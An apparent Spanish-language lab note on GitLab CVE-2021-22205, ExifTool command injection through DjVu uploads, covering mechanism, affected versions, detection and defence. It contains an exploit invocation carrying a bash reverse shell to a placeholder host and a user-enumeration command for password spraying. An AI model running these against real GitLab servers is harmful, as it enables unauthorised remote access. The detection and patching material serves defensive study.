GitLab ExifTool RCE (CVE-2021-22205)
GitLab es una plataforma de gestión de repositorios y CI/CD que, por su papel central en el desarrollo, suele custodiar secretos, claves y código sensible. Acumula cientos de CVE, pero uno de los más rentables es CVE-2021-22205: una ejecución remota de comandos que nace de cómo GitLab procesaba las imágenes subidas. Antes de la 13.10.3, al subir una imagen GitLab la pasaba por ExifTool para leer sus metadatos, y una versión vulnerable de ExifTool permitía inyectar comandos a través de un fichero DjVu manipulado.
Mecanismo
El flujo de imágenes de GitLab reenviaba el fichero subido a ExifTool para extraer metadatos. Como ExifTool determinaba el tipo por contenido y no por extensión, un fichero DjVu con una anotación maliciosa disparaba la ejecución de comandos en el servidor. El exploit sube esa imagen a través de un endpoint de carga y lanza la carga elegida, por ejemplo una reverse shell:
python3 gitlab_exiftool_rce.py -t http://<ip> -u <user> -p <pass> -c 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"'Antes de eso conviene enumerar usuarios: GitLab no lo considera vulnerabilidad, pero su respuesta permite distinguir cuentas válidas, lo que habilita un password spraying controlado (por defecto bloquea a los 10 intentos con desbloqueo a los 10 minutos):
python3 gitlab_userenum.py --url http://<ip> --wordlist <users.txt>Requisitos
En las versiones afectadas el fallo llegó a ser explotable sin autenticar, pero el vector más fiable en laboratorio usa una cuenta válida. Si la instancia permite registro abierto, basta con crearse un usuario y lanzar el exploit. La clave es la versión: GitLab CE 13.10.2 e inferiores (y ramas 13.8/13.9 sin parchear) arrastran la versión vulnerable de ExifTool.
Cómo detectarlo. En el host, la firma más clara es el proceso exiftool (o el worker de GitLab) engendrando bash, sh o nc justo después de una subida de imagen (auditd/Sysmon for Linux sobre execve con ppid del worker). En los logs de la aplicación aparece la carga de un fichero con extensión de imagen pero tipo real DjVu (cabecera AT&T del formato), y a nivel de red, una conexión saliente inmediata desde el servidor de GitLab. Un salto brusco de versión de GitLab respecto al parche también es un indicio de exposición.
Defensa. Actualizar GitLab a una versión con ExifTool parcheado, desactivar el registro abierto si no es imprescindible, restringir el acceso a la interfaz y monitorizar procesos hijos anómalos del servicio. Relacionado con inyección de comandos en ExifTool, RCE por subida de ficheros y enumeración de usuarios.